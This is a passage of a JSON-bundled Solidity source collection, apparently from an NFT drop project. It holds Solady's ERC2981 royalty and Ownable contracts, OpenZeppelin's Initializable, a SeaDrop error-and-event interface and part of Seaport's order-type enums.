amount if needed.\n function _feeDenominator() internal pure virtual returns (uint96) {\n return 10000;\n }\n\n /// @dev Returns true if this contract implements the interface defined by `interfaceId`.\n /// See: https://eips.ethereum.org/EIPS/eip-165\n /// This function call must use less than 30000 gas.\n function supportsInterface(bytes4 interfaceId) public view virtual returns (bool result) {\n /// @solidity memory-safe-assembly\n assembly {\n let s := shr(224, interfaceId)\n // ERC165: 0x01ffc9a7, ERC2981: 0x2a55205a.\n result := or(eq(s, 0x01ffc9a7), eq(s, 0x2a55205a))\n }\n }\n\n /// @dev Returns the `receiver` and `royaltyAmount` for `tokenId` sold at `salePrice`.\n function royaltyInfo(uint256 tokenId, uint256 salePrice)\n public\n view\n virtual\n returns (address receiver, uint256 royaltyAmount)\n {\n uint256 feeDenominator = _feeDenominator();\n /// @solidity memory-safe-assembly\n assembly {\n mstore(0x00, tokenId)\n mstore(0x20, _ERC2981_MASTER_SLOT_SEED)\n let packed := sload(keccak256(0x00, 0x40))\n receiver := shr(96, packed)\n if iszero(receiver) {\n packed := sload(mload(0x20))\n receiver := shr(96, packed)\n }\n let x := salePrice\n let y := xor(packed, shl(96, receiver)) // `feeNumerator`.\n // Overflow check, equivalent to `require(y == 0 || x <= type(uint256).max / y)`.\n // Out-of-gas revert. Should not be triggered in practice, but included for safety.\n returndatacopy(returndatasize(), returndatasize(), mul(y, gt(x, div(not(0), y))))\n royaltyAmount := div(mul(x, y), feeDenominator)\n }\n }\n\n /// @dev Sets the default royalty `receiver` and `feeNumerator`.\n ///\n /// Requirements:\n /// - `receiver` must not be the zero address.\n /// - `feeNumerator` must not be greater than the fee denominator.\n function _setDefaultRoyalty(address receiver, uint96 feeNumerator) internal virtual {\n uint256 feeDenominator = _feeDenominator();\n /// @solidity memory-safe-assembly\n assembly {\n feeNumerator := shr(160, shl(160, feeNumerator))\n if gt(feeNumerator, feeDenominator) {\n mstore(0x00, 0x350a88b3) // `RoyaltyOverflow()`.\n revert(0x1c, 0x04)\n }\n let packed := shl(96, receiver)\n if iszero(packed) {\n mstore(0x00, 0xb4457eaa) // `RoyaltyReceiverIsZeroAddress()`.\n revert(0x1c, 0x04)\n }\n sstore(_ERC2981_MASTER_SLOT_SEED, or(packed, feeNumerator))\n }\n }\n\n /// @dev Sets the default royalty `receiver` and `feeNumerator` to zero.\n function _deleteDefaultRoyalty() internal virtual {\n /// @solidity memory-safe-assembly\n assembly {\n sstore(_ERC2981_MASTER_SLOT_SEED, 0)\n }\n }\n\n /// @dev Sets the royalty `receiver` and `feeNumerator` for `tokenId`.\n ///\n /// Requirements:\n /// - `receiver` must not be the zero address.\n /// - `feeNumerator` must not be greater than the fee denominator.\n function _setTokenRoyalty(uint256 tokenId, address receiver, uint96 feeNumerator)\n internal\n virtual\n {\n uint256 feeDenominator = _feeDenominator();\n /// @solidity memory-safe-assembly\n assembly {\n feeNumerator := shr(160, shl(160, feeNumerator))\n if gt(feeNumerator, feeDenominator) {\n mstore(0x00, 0x350a88b3) // `RoyaltyOverflow()`.\n revert(0x1c, 0x04)\n }\n let packed := shl(96, receiver)\n if iszero(packed) {\n mstore(0x00, 0xb4457eaa) // `RoyaltyReceiverIsZeroAddress()`.\n revert(0x1c, 0x04)\n }\n mstore(0x00, tokenId)\n mstore(0x20, _ERC2981_MASTER_SLOT_SEED)\n sstore(keccak256(0x00, 0x40), or(packed, feeNumerator))\n }\n }\n\n /// @dev Sets the royalty `receiver` and `feeNumerator` for `tokenId` to zero.\n function _resetTokenRoyalty(uint256 tokenId) internal virtual {\n /// @solidity memory-safe-assembly\n assembly {\n mstore(0x00, tokenId)\n mstore(0x20, _ERC2981_MASTER_SLOT_SEED)\n sstore(keccak256(0x00, 0x40), 0)\n }\n }\n}\n" }, "lib/solady/src/auth/Ownable.sol": { "content": "// SPDX-License-Identifier: MIT\npragma solidity ^0.8.4;\n\n/// @notice Simple single owner authorization mixin.\n/// @author Solady (https://github.com/vectorized/solady/blob/main/src/auth/Ownable.sol)\n/// @dev While the ownable portion follows\n/// [EIP-173](https://eips.ethereum.org/EIPS/eip-173) for compatibility,\n/// the nomenclature for the 2-step ownership handover may be unique to this codebase.\nabstract contract Ownable {\n /*´:°•.°+.*•´.*:˚.°*.˚•´.°:°•.°•.*•´.*:˚.°*.˚•´.°:°•.°+.*•´.*:*/\n /* CUSTOM ERRORS */\n /*.•°:°.´+˚.*°.˚:*.´•*.+°.•°:´*.´•*.•°.•°:°.´:•˚°.*°.˚:*.´+°.•*/\n\n /// @dev The caller is not authorized to call the function.\n error Unauthorized();\n\n /// @dev The `newOwner` cannot be the zero address.\n error NewOwnerIsZeroAddress();\n\n /// @dev The `pendingOwner` does not have a valid handover request.\n error NoHandoverRequest();\n\n /*´:°•.°+.*•´.*:˚.°*.˚•´.°:°•.°•.*•´.*:˚.°*.˚•´.°:°•.°+.*•´.*:*/\n /* EVENTS */\n /*.•°:°.´+˚.*°.˚:*.´•*.+°.•°:´*.´•*.•°.•°:°.´:•˚°.*°.˚:*.´+°.•*/\n\n /// @dev The ownership is transferred from `oldOwner` to `newOwner`.\n /// This event is intentionally kept the same as OpenZeppelin's Ownable to be\n /// compatible with indexers and [EIP-173](https://eips.ethereum.org/EIPS/eip-173),\n /// despite it not being as lightweight as a single argument event.\n event OwnershipTransferred(address indexed oldOwner, address indexed newOwner);\n\n /// @dev An ownership handover to `pendingOwner` has been requested.\n event OwnershipHandoverRequested(address indexed pendingOwner);\n\n /// @dev The ownership handover to `pendingOwner` has been canceled.\n event OwnershipHandoverCanceled(address indexed pendingOwner);\n\n /// @dev `keccak256(bytes(\"OwnershipTransferred(address,address)\"))`.\n uint256 private constant _OWNERSHIP_TRANSFERRED_EVENT_SIGNATURE =\n 0x8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0;\n\n /// @dev `keccak256(bytes(\"OwnershipHandoverRequested(address)\"))`.\n uint256 private constant _OWNERSHIP_HANDOVER_REQUESTED_EVENT_SIGNATURE =\n 0xdbf36a107da19e49527a7176a1babf963b4b0ff8cde35ee35d6cd8f1f9ac7e1d;\n\n /// @dev `keccak256(bytes(\"OwnershipHandoverCanceled(address)\"))`.\n uint256 private constant _OWNERSHIP_HANDOVER_CANCELED_EVENT_SIGNATURE =\n 0xfa7b8eab7da67f412cc9575ed43464468f9bfbae89d1675917346ca6d8fe3c92;\n\n /*´:°•.°+.*•´.*:˚.°*.˚•´.°:°•.°•.*•´.*:˚.°*.˚•´.°:°•.°+.*•´.*:*/\n /* STORAGE */\n /*.•°:°.´+˚.*°.˚:*.´•*.+°.•°:´*.´•*.•°.•°:°.´:•˚°.*°.˚:*.´+°.•*/\n\n /// @dev The owner slot is given by: `not(_OWNER_SLOT_NOT)`.\n /// It is intentionally chosen to be a high value\n /// to avoid collision with lower slots.\n /// The choice of manual storage layout is to enable compatibility\n /// with both regular and upgradeable contracts.\n uint256 private constant _OWNER_SLOT_NOT = 0x8b78c6d8;\n\n /// The ownership handover slot of `newOwner` is given by:\n /// ```\n /// mstore(0x00, or(shl(96, user), _HANDOVER_SLOT_SEED))\n /// let handoverSlot := keccak256(0x00, 0x20)\n /// ```\n /// It stores the expiry timestamp of the two-step ownership handover.\n uint256 private constant _HANDOVER_SLOT_SEED = 0x389a75e1;\n\n /*´:°•.°+.*•´.*:˚.°*.˚•´.°:°•.°•.*•´.*:˚.°*.˚•´.°:°•.°+.*•´.*:*/\n /* INTERNAL FUNCTIONS */\n /*.•°:°.´+˚.*°.˚:*.´•*.+°.•°:´*.´•*.•°.•°:°.´:•˚°.*°.˚:*.´+°.•*/\n\n /// @dev Initializes the owner directly without authorization guard.\n /// This function must be called upon initialization,\n /// regardless of whether the contract is upgradeable or not.\n /// This is to enable generalization to both regular and upgradeable contracts,\n /// and to save gas in case the initial owner is not the caller.\n /// For performance reasons, this function will not check if there\n /// is an existing owner.\n function _initializeOwner(address newOwner) internal virtual {\n /// @solidity memory-safe-assembly\n assembly {\n // Clean the upper 96 bits.\n newOwner := shr(96, shl(96, newOwner))\n // Store the new value.\n sstore(not(_OWNER_SLOT_NOT), newOwner)\n // Emit the {OwnershipTransferred} event.\n log3(0, 0, _OWNERSHIP_TRANSFERRED_EVENT_SIGNATURE, 0, newOwner)\n }\n }\n\n /// @dev Sets the owner directly without authorization guard.\n function _setOwner(address newOwner) internal virtual {\n /// @solidity memory-safe-assembly\n assembly {\n let ownerSlot := not(_OWNER_SLOT_NOT)\n // Clean the upper 96 bits.\n newOwner := shr(96, shl(96, newOwner))\n // Emit the {OwnershipTransferred} event.\n log3(0, 0, _OWNERSHIP_TRANSFERRED_EVENT_SIGNATURE, sload(ownerSlot), newOwner)\n // Store the new value.\n sstore(ownerSlot, newOwner)\n }\n }\n\n /// @dev Throws if the sender is not the owner.\n function _checkOwner() internal view virtual {\n /// @solidity memory-safe-assembly\n assembly {\n // If the caller is not the stored owner, revert.\n if iszero(eq(caller(), sload(not(_OWNER_SLOT_NOT)))) {\n mstore(0x00, 0x82b42900) // `Unauthorized()`.\n revert(0x1c, 0x04)\n }\n }\n }\n\n /*´:°•.°+.*•´.*:˚.°*.˚•´.°:°•.°•.*•´.*:˚.°*.˚•´.°:°•.°+.*•´.*:*/\n /* PUBLIC UPDATE FUNCTIONS */\n /*.•°:°.´+˚.*°.˚:*.´•*.+°.•°:´*.´•*.•°.•°:°.´:•˚°.*°.˚:*.´+°.•*/\n\n /// @dev Allows the owner to transfer the ownership to `newOwner`.\n function transferOwnership(address newOwner) public payable virtual onlyOwner {\n /// @solidity memory-safe-assembly\n assembly {\n if iszero(shl(96, newOwner)) {\n mstore(0x00, 0x7448fbae) // `NewOwnerIsZeroAddress()`.\n revert(0x1c, 0x04)\n }\n }\n _setOwner(newOwner);\n }\n\n /// @dev Allows the owner to renounce their ownership.\n function renounceOwnership() public payable virtual onlyOwner {\n _setOwner(address(0));\n }\n\n /// @dev Request a two-step ownership handover to the caller.\n /// The request will automatically expire in 48 hours (172800 seconds) by default.\n function requestOwnershipHandover() public payable virtual {\n unchecked {\n uint256 expires = block.timestamp + ownershipHandoverValidFor();\n /// @solidity memory-safe-assembly\n assembly {\n // Compute and set the handover slot to `expires`.\n mstore(0x0c, _HANDOVER_SLOT_SEED)\n mstore(0x00, caller())\n sstore(keccak256(0x0c, 0x20), expires)\n // Emit the {OwnershipHandoverRequested} event.\n log2(0, 0, _OWNERSHIP_HANDOVER_REQUESTED_EVENT_SIGNATURE, caller())\n }\n }\n }\n\n /// @dev Cancels the two-step ownership handover to the caller, if any.\n function cancelOwnershipHandover() public payable virtual {\n /// @solidity memory-safe-assembly\n assembly {\n // Compute and set the handover slot to 0.\n mstore(0x0c, _HANDOVER_SLOT_SEED)\n mstore(0x00, caller())\n sstore(keccak256(0x0c, 0x20), 0)\n // Emit the {OwnershipHandoverCanceled} event.\n log2(0, 0, _OWNERSHIP_HANDOVER_CANCELED_EVENT_SIGNATURE, caller())\n }\n }\n\n /// @dev Allows the owner to complete the two-step ownership handover to `pendingOwner`.\n /// Reverts if there is no existing ownership handover requested by `pendingOwner`.\n function completeOwnershipHandover(address pendingOwner) public payable virtual onlyOwner {\n /// @solidity memory-safe-assembly\n assembly {\n // Compute and set the handover slot to 0.\n mstore(0x0c, _HANDOVER_SLOT_SEED)\n mstore(0x00, pendingOwner)\n let handoverSlot := keccak256(0x0c, 0x20)\n // If the handover does not exist, or has expired.\n if gt(timestamp(), sload(handoverSlot)) {\n mstore(0x00, 0x6f5e8818) // `NoHandoverRequest()`.\n revert(0x1c, 0x04)\n }\n // Set the handover slot to 0.\n sstore(handoverSlot, 0)\n }\n _setOwner(pendingOwner);\n }\n\n /*´:°•.°+.*•´.*:˚.°*.˚•´.°:°•.°•.*•´.*:˚.°*.˚•´.°:°•.°+.*•´.*:*/\n /* PUBLIC READ FUNCTIONS */\n /*.•°:°.´+˚.*°.˚:*.´•*.+°.•°:´*.´•*.•°.•°:°.´:•˚°.*°.˚:*.´+°.•*/\n\n /// @dev Returns the owner of the contract.\n function owner() public view virtual returns (address result) {\n /// @solidity memory-safe-assembly\n assembly {\n result := sload(not(_OWNER_SLOT_NOT))\n }\n }\n\n /// @dev Returns the expiry timestamp for the two-step ownership handover to `pendingOwner`.\n function ownershipHandoverExpiresAt(address pendingOwner)\n public\n view\n virtual\n returns (uint256 result)\n {\n /// @solidity memory-safe-assembly\n assembly {\n // Compute the handover slot.\n mstore(0x0c, _HANDOVER_SLOT_SEED)\n mstore(0x00, pendingOwner)\n // Load the handover slot.\n result := sload(keccak256(0x0c, 0x20))\n }\n }\n\n /// @dev Returns how long a two-step ownership handover is valid for in seconds.\n function ownershipHandoverValidFor() public view virtual returns (uint64) {\n return 48 * 3600;\n }\n\n /*´:°•.°+.*•´.*:˚.°*.˚•´.°:°•.°•.*•´.*:˚.°*.˚•´.°:°•.°+.*•´.*:*/\n /* MODIFIERS */\n /*.•°:°.´+˚.*°.˚:*.´•*.+°.•°:´*.´•*.•°.•°:°.´:•˚°.*°.˚:*.´+°.•*/\n\n /// @dev Marks a function as only callable by the owner.\n modifier onlyOwner() virtual {\n _checkOwner();\n _;\n }\n}\n" }, "lib/openzeppelin-contracts-upgradeable/contracts/proxy/utils/Initializable.sol": { "content": "// SPDX-License-Identifier: MIT\n// OpenZeppelin Contracts (last updated v4.9.0) (proxy/utils/Initializable.sol)\n\npragma solidity ^0.8.19;\n\nimport \"../../utils/AddressUpgradeable.sol\";\n\n/**\n * @dev This is a base contract to aid in writing upgradeable contracts, or any kind of contract that will be deployed\n * behind a proxy. Since proxied contracts do not make use of a constructor, it's common to move constructor logic to an\n * external initializer function, usually called `initialize`. It then becomes necessary to protect this initializer\n * function so it can only be called once. The {initializer} modifier provided by this contract will have this effect.\n *\n * The initialization functions use a version number. Once a version number is used, it is consumed and cannot be\n * reused. This mechanism prevents re-execution of each \"step\" but allows the creation of new initialization steps in\n * case an upgrade adds a module that needs to be initialized.\n *\n * For example:\n *\n * [.hljs-theme-light.nopadding]\n * ```solidity\n * contract MyToken is ERC20Upgradeable {\n * function initialize() initializer public {\n * __ERC20_init(\"MyToken\", \"MTK\");\n * }\n * }\n *\n * contract MyTokenV2 is MyToken, ERC20PermitUpgradeable {\n * function initializeV2() reinitializer(2) public {\n * __ERC20Permit_init(\"MyToken\");\n * }\n * }\n * ```\n *\n * TIP: To avoid leaving the proxy in an uninitialized state, the initializer function should be called as early as\n * possible by providing the encoded function call as the `_data` argument to {ERC1967Proxy-constructor}.\n *\n * CAUTION: When used with inheritance, manual care must be taken to not invoke a parent initializer twice, or to ensure\n * that all initializers are idempotent. This is not verified automatically as constructors are by Solidity.\n *\n * [CAUTION]\n * ====\n * Avoid leaving a contract uninitialized.\n *\n * An uninitialized contract can be taken over by an attacker. This applies to both a proxy and its implementation\n * contract, which may impact the proxy. To prevent the implementation contract from being used, you should invoke\n * the {_disableInitializers} function in the constructor to automatically lock it when it is deployed:\n *\n * [.hljs-theme-light.nopadding]\n * ```\n * /// @custom:oz-upgrades-unsafe-allow constructor\n * constructor() {\n * _disableInitializers();\n * }\n * ```\n * ====\n */\nabstract contract Initializable {\n /**\n * @dev Indicates that the contract has been initialized.\n * @custom:oz-retyped-from bool\n */\n uint8 private _initialized;\n\n /**\n * @dev Indicates that the contract is in the process of being initialized.\n */\n bool private _initializing;\n\n /**\n * @dev Triggered when the contract has been initialized or reinitialized.\n */\n event Initialized(uint8 version);\n\n /**\n * @dev A modifier that defines a protected initializer function that can be invoked at most once. In its scope,\n * `onlyInitializing` functions can be used to initialize parent contracts.\n *\n * Similar to `reinitializer(1)`, except that functions marked with `initializer` can be nested in the context of a\n * constructor.\n *\n * Emits an {Initialized} event.\n */\n modifier initializer() {\n bool isTopLevelCall = !_initializing;\n require(\n (isTopLevelCall && _initialized < 1) || (address(this).code.length == 0 && _initialized == 1),\n \"Initializable: contract is already initialized\"\n );\n _initialized = 1;\n if (isTopLevelCall) {\n _initializing = true;\n }\n _;\n if (isTopLevelCall) {\n _initializing = false;\n emit Initialized(1);\n }\n }\n\n /**\n * @dev A modifier that defines a protected reinitializer function that can be invoked at most once, and only if the\n * contract hasn't been initialized to a greater version before. In its scope, `onlyInitializing` functions can be\n * used to initialize parent contracts.\n *\n * A reinitializer may be used after the original initialization step. This is essential to configure modules that\n * are added through upgrades and that require initialization.\n *\n * When `version` is 1, this modifier is similar to `initializer`, except that functions marked with `reinitializer`\n * cannot be nested. If one is invoked in the context of another, execution will revert.\n *\n * Note that versions can jump in increments greater than 1; this implies that if multiple reinitializers coexist in\n * a contract, executing them in the right order is up to the developer or operator.\n *\n * WARNING: setting the version to 255 will prevent any future reinitialization.\n *\n * Emits an {Initialized} event.\n */\n modifier reinitializer(uint8 version) {\n require(!_initializing && _initialized < version, \"Initializable: contract is already initialized\");\n _initialized = version;\n _initializing = true;\n _;\n _initializing = false;\n emit Initialized(version);\n }\n\n /**\n * @dev Modifier to protect an initialization function so that it can only be invoked by functions with the\n * {initializer} and {reinitializer} modifiers, directly or indirectly.\n */\n modifier onlyInitializing() {\n require(_initializing, \"Initializable: contract is not initializing\");\n _;\n }\n\n /**\n * @dev Locks the contract, preventing any future reinitialization. This cannot be part of an initializer call.\n * Calling this in the constructor of a contract will prevent that contract from being initialized or reinitialized\n * to any version. It is recommended to use this to lock implementation contracts that are designed to be called\n * through proxies.\n *\n * Emits an {Initialized} event the first time it is successfully executed.\n */\n function _disableInitializers() internal virtual {\n require(!_initializing, \"Initializable: contract is initializing\");\n if (_initialized != type(uint8).max) {\n _initialized = type(uint8).max;\n emit Initialized(type(uint8).max);\n }\n }\n\n /**\n * @dev Returns the highest version that has been initialized. See {reinitializer}.\n */\n function _getInitializedVersion() internal view returns (uint8) {\n return _initialized;\n }\n\n /**\n * @dev Returns `true` if the contract is currently initializing. See {onlyInitializing}.\n */\n function _isInitializing() internal view returns (bool) {\n return _initializing;\n }\n}\n" }, "src/lib/SeaDropErrorsAndEvents.sol": { "content": "// SPDX-License-Identifier: MIT\npragma solidity ^0.8.19;\n\nimport { CreatorPayout, PublicDrop } from \"./ERC721SeaDropStructs.sol\";\n\ninterface SeaDropErrorsAndEvents {\n /**\n * @notice The SeaDrop token types, emitted as part of\n * `event SeaDropTokenDeployed`.\n */\n enum SEADROP_TOKEN_TYPE {\n ERC721_STANDARD,\n ERC721_CLONE,\n ERC721_UPGRADEABLE,\n ERC1155_STANDARD,\n ERC1155_CLONE,\n ERC1155_UPGRADEABLE\n }\n\n /**\n * @notice An event to signify that a SeaDrop token contract was deployed.\n */\n event SeaDropTokenDeployed(SEADROP_TOKEN_TYPE tokenType);\n\n /**\n * @notice Revert with an error if the function selector is not supported.\n */\n error UnsupportedFunctionSelector(bytes4 selector);\n\n /**\n * @dev Revert with an error if the drop stage is not active.\n */\n error NotActive(\n uint256 currentTimestamp,\n uint256 startTimestamp,\n uint256 endTimestamp\n );\n\n /**\n * @dev Revert with an error if the mint quantity exceeds the max allowed\n * to be minted per wallet.\n */\n error MintQuantityExceedsMaxMintedPerWallet(uint256 total, uint256 allowed);\n\n /**\n * @dev Revert with an error if the mint quantity exceeds the max token\n * supply.\n */\n error MintQuantityExceedsMaxSupply(uint256 total, uint256 maxSupply);\n\n /**\n * @dev Revert with an error if the mint quantity exceeds the max token\n * supply for the stage.\n * Note: The `maxTokenSupplyForStage` for public mint is\n * always `type(uint).max`.\n */\n error MintQuantityExceedsMaxTokenSupplyForStage(\n uint256 total,\n uint256 maxTokenSupplyForStage\n );\n\n /**\n * @dev Revert if the fee recipient is the zero address.\n */\n error FeeRecipientCannotBeZeroAddress();\n\n /**\n * @dev Revert if the fee recipient is not already included.\n */\n error FeeRecipientNotPresent();\n\n /**\n * @dev Revert if the fee basis points is greater than 10_000.\n */\n error InvalidFeeBps(uint256 feeBps);\n\n /**\n * @dev Revert if the fee recipient is already included.\n */\n error DuplicateFeeRecipient();\n\n /**\n * @dev Revert if the fee recipient is restricted and not allowed.\n */\n error FeeRecipientNotAllowed(address got);\n\n /**\n * @dev Revert if the creator payout address is the zero address.\n */\n error CreatorPayoutAddressCannotBeZeroAddress();\n\n /**\n * @dev Revert if the creator payouts are not set.\n */\n error CreatorPayoutsNotSet();\n\n /**\n * @dev Revert if the creator payout basis points are zero.\n */\n error CreatorPayoutBasisPointsCannotBeZero();\n\n /**\n * @dev Revert if the total basis points for the creator payouts\n * don't equal exactly 10_000.\n */\n error InvalidCreatorPayoutTotalBasisPoints(\n uint256 totalReceivedBasisPoints\n );\n\n /**\n * @dev Revert if the creator payout basis points don't add up to 10_000.\n */\n error InvalidCreatorPayoutBasisPoints(uint256 totalReceivedBasisPoints);\n\n /**\n * @dev Revert with an error if the allow list proof is invalid.\n */\n error InvalidProof();\n\n /**\n * @dev Revert if a supplied signer address is the zero address.\n */\n error SignerCannotBeZeroAddress();\n\n /**\n * @dev Revert with an error if a signer is not included in\n * the enumeration when removing.\n */\n error SignerNotPresent();\n\n /**\n * @dev Revert with an error if a payer is not included in\n * the enumeration when removing.\n */\n error PayerNotPresent();\n\n /**\n * @dev Revert with an error if a payer is already included in mapping\n * when adding.\n */\n error DuplicatePayer();\n\n /**\n * @dev Revert with an error if a signer is already included in mapping\n * when adding.\n */\n error DuplicateSigner();\n\n /**\n * @dev Revert with an error if the payer is not allowed. The minter must\n * pay for their own mint.\n */\n error PayerNotAllowed(address got);\n\n /**\n * @dev Revert if a supplied payer address is the zero address.\n */\n error PayerCannotBeZeroAddress();\n\n /**\n * @dev Revert if the start time is greater than the end time.\n */\n error InvalidStartAndEndTime(uint256 startTime, uint256 endTime);\n\n /**\n * @dev Revert with an error if the signer payment token is not the same.\n */\n error InvalidSignedPaymentToken(address got, address want);\n\n /**\n * @dev Revert with an error if supplied signed mint price is less than\n * the minimum specified.\n */\n error InvalidSignedMintPrice(\n address paymentToken,\n uint256 got,\n uint256 minimum\n );\n\n /**\n * @dev Revert with an error if supplied signed maxTotalMintableByWallet\n * is greater than the maximum specified.\n */\n error InvalidSignedMaxTotalMintableByWallet(uint256 got, uint256 maximum);\n\n /**\n * @dev Revert with an error if supplied signed\n * maxTotalMintableByWalletPerToken is greater than the maximum\n * specified.\n */\n error InvalidSignedMaxTotalMintableByWalletPerToken(\n uint256 got,\n uint256 maximum\n );\n\n /**\n * @dev Revert with an error if the fromTokenId is not within range.\n */\n error InvalidSignedFromTokenId(uint256 got, uint256 minimum);\n\n /**\n * @dev Revert with an error if the toTokenId is not within range.\n */\n error InvalidSignedToTokenId(uint256 got, uint256 maximum);\n\n /**\n * @dev Revert with an error if supplied signed start time is less than\n * the minimum specified.\n */\n error InvalidSignedStartTime(uint256 got, uint256 minimum);\n\n /**\n * @dev Revert with an error if supplied signed end time is greater than\n * the maximum specified.\n */\n error InvalidSignedEndTime(uint256 got, uint256 maximum);\n\n /**\n * @dev Revert with an error if supplied signed maxTokenSupplyForStage\n * is greater than the maximum specified.\n */\n error InvalidSignedMaxTokenSupplyForStage(uint256 got, uint256 maximum);\n\n /**\n * @dev Revert with an error if supplied signed feeBps is greater than\n * the maximum specified, or less than the minimum.\n */\n error InvalidSignedFeeBps(uint256 got, uint256 minimumOrMaximum);\n\n /**\n * @dev Revert with an error if signed mint did not specify to restrict\n * fee recipients.\n */\n error SignedMintsMustRestrictFeeRecipients();\n\n /**\n * @dev Revert with an error if a signature for a signed mint has already\n * been used.\n */\n error SignatureAlreadyUsed();\n\n /**\n * @dev Revert with an error if the contract has no balance to withdraw.\n */\n error NoBalanceToWithdraw();\n\n /**\n * @dev Revert with an error if the caller is not an allowed Seaport.\n */\n error InvalidCallerOnlyAllowedSeaport(address caller);\n\n /**\n * @dev Revert with an error if the order does not have the ERC1155 magic\n * consideration item to signify a consecutive mint.\n */\n error MustSpecifyERC1155ConsiderationItemForSeaDropMint();\n\n /**\n * @dev Revert with an error if the extra data version is not supported.\n */\n error UnsupportedExtraDataVersion(uint8 version);\n\n /**\n * @dev Revert with an error if the extra data encoding is not supported.\n */\n error InvalidExtraDataEncoding(uint8 version);\n\n /**\n * @dev Revert with an error if the provided substandard is not supported.\n */\n error InvalidSubstandard(uint8 substandard);\n\n /**\n * @dev Revert with an error if the implementation contract is called without\n * delegatecall.\n */\n error OnlyDelegateCalled();\n\n /**\n * @dev Revert with an error if the provided allowed Seaport is the\n * zero address.\n */\n error AllowedSeaportCannotBeZeroAddress();\n\n /**\n * @dev Emit an event when allowed Seaport contracts are updated.\n */\n event AllowedSeaportUpdated(address[] allowedSeaport);\n\n /**\n * @dev An event with details of a SeaDrop mint, for analytical purposes.\n *\n * @param payer The address who payed for the tx.\n * @param dropStageIndex The drop stage index. Items minted through\n * public mint have dropStageIndex of 0\n */\n event SeaDropMint(address payer, uint256 dropStageIndex);\n\n /**\n * @dev An event with updated allow list data.\n *\n * @param previousMerkleRoot The previous allow list merkle root.\n * @param newMerkleRoot The new allow list merkle root.\n * @param publicKeyURI If the allow list is encrypted, the public key\n * URIs that can decrypt the list.\n * Empty if unencrypted.\n * @param allowListURI The URI for the allow list.\n */\n event AllowListUpdated(\n bytes32 indexed previousMerkleRoot,\n bytes32 indexed newMerkleRoot,\n string[] publicKeyURI,\n string allowListURI\n );\n\n /**\n * @dev An event with updated drop URI.\n */\n event DropURIUpdated(string newDropURI);\n\n /**\n * @dev An event with the updated creator payout address.\n */\n event CreatorPayoutsUpdated(CreatorPayout[] creatorPayouts);\n\n /**\n * @dev An event with the updated allowed fee recipient.\n */\n event AllowedFeeRecipientUpdated(\n address indexed feeRecipient,\n bool indexed allowed\n );\n\n /**\n * @dev An event with the updated signer.\n */\n event SignerUpdated(address indexed signer, bool indexed allowed);\n\n /**\n * @dev An event with the updated payer.\n */\n event PayerUpdated(address indexed payer, bool indexed allowed);\n}\n" }, "lib/seaport/lib/seaport-types/src/lib/ConsiderationEnums.sol": { "content": "// SPDX-License-Identifier: MIT\npragma solidity ^0.8.13;\n\nenum OrderType {\n // 0: no partial fills, anyone can execute\n FULL_OPEN,\n\n // 1: partial fills supported, anyone can execute\n PARTIAL_OPEN,\n\n // 2: no partial fills, only offerer or zone can execute\n FULL_RESTRICTED,\n\n // 3: partial fills supported, only offerer or zone can execute\n PARTIAL_RESTRICTED,\n\n // 4: contract order type\n CONTRACT\n}\n\nenum BasicOrderType {\n // 0: no partial fills, anyone can execute\n ETH_TO_ERC721_FULL_OPEN,\n\n // 1: partial fills supported, anyone can execute\n ETH_TO_ERC721_PARTIAL_OPEN,\n\n // 2: no partial fills, only offerer or zone can execute\n ETH_TO_ERC721_FULL_RESTRICTED,\n\n // 3: partial fills supported, only offerer or zone can execute\n ETH_TO_ERC721_PARTIAL_RESTRICTED,\n\n // 4: no partial fills, anyone can execute\n ETH_TO_ERC1155_FULL_OPEN,\n\n // 5: partial fills supported, anyone can execute\n ETH_TO_ERC1155_PARTIAL_OPEN,\n\n // 6: no partial fills, only offerer or zone can execute\n ETH_TO_ERC1155_FULL_RESTRICTED,\n\n // 7: partial fills supported, only offerer or zone can execute\n ETH_TO_ERC1155_PARTIAL_RESTRICTED,\n\n // 8: no partial fills, anyone can execute\n ERC20_TO_ERC721_FULL_OPEN,\n\n // 9: partial fills supported, anyone can execute\n ERC20_TO_ERC721_PARTIAL_OPEN,\n\n // 10: no partial fills, only offerer or zone can execute\n ERC20_TO_ERC721_FULL_RESTRICTED,\n\n // 11: partial fills supported, only offerer or zone can execute\n ERC20_TO_ERC721_PARTIAL_RESTRICTED,\n\n // 12: no partial fills, anyone can execute\n ERC20_TO_ERC1155_FULL_OPEN,\n\n // 13: partial fills supported, anyone can execute\n ERC20_TO_ERC1155_PARTIAL_OPEN,\n\n // 14: no partial fills, only offerer or zone can execute\n ERC20_TO_ERC1155_FULL_RESTRICTED,\n\n // 15: partial fills supported, only offerer or zone can execute\n ERC20_TO_ERC1155_PARTIAL_RESTRICTED,\n\n // 16: no partial fills, anyone can execute\n ERC721_TO_ERC20_FULL_OPEN,\n\n // 17: partial fills supported, anyone can execute\n ERC721_TO_ERC20_PARTIAL_OPEN,\n\n // 18: no partial fills, only offerer or zone can execute\n ERC721_TO_ERC20_FULL_RESTRICTED,\n\n // 19: partial fills supported, only offerer or zone can execute\n ERC721_TO_ERC20_PARTIAL_RESTRICTED,\n\n // 20: no partial fills, anyone can execute\n ERC1155_TO_ERC20_FULL_OPEN,\n\n // 21: partial fills supported, anyone can execute\n ERC1155_TO_ERC20_PARTIAL_OPEN,\n\n // 22: no partial fills, only offerer or zone can execute\n ERC1155_TO_ERC20_FULL_RESTRICTED,\n\n // 23: partial fills supported, only offerer or zone can execute\n ERC1155_TO_ERC20_PARTIAL_RESTRICTED\n}\n\nenum BasicOrderRouteType {\n // 0: provide Ether (or other native token) to receive offered ERC721 item.\n ETH_TO_ERC721,\n\n // 1: provide Ether (or other native token) to receive offered ERC1155 item.\n ETH_TO_ERC1155,\n\n // 2: provide ERC20 item to receive offered ERC721 item.\n ERC20_TO_ERC721,\n\n // 3: provide ERC20 item to receive offered ERC1155 item.\n ERC20_TO_ERC1155,\n\n // 4: provide ERC721 item to receive offered ERC20 item.\n ERC721_TO_ERC20,\n\n // 5: provide ERC1155 item to receive offered ERC20 item.\n ERC1155_TO_ERC20\n}\n\nenum ItemType {\n // 0: ETH on mainnet, MATIC on polygon, etc.\n NATIVE,\n\n // 1: ERC20 items (ERC777 and ERC20 analogues could also technically work)\n ERC20,\n\n // 2: ERC721 items\n ERC721,\n\n // 3: ERC1155 items\n ERC1155,\n\n // 4: ERC721 items where a number of tokenIds are supported\n ERC721_WITH_CRITERIA,\n\n // 5: ERC1155 items where a number of ids are supported\n ERC1155_WITH_CRITERIA\n}\n\nenum Side {\n // 0: Items that can be spent\n OFFER,\n\n // 1: Items that must be received\n 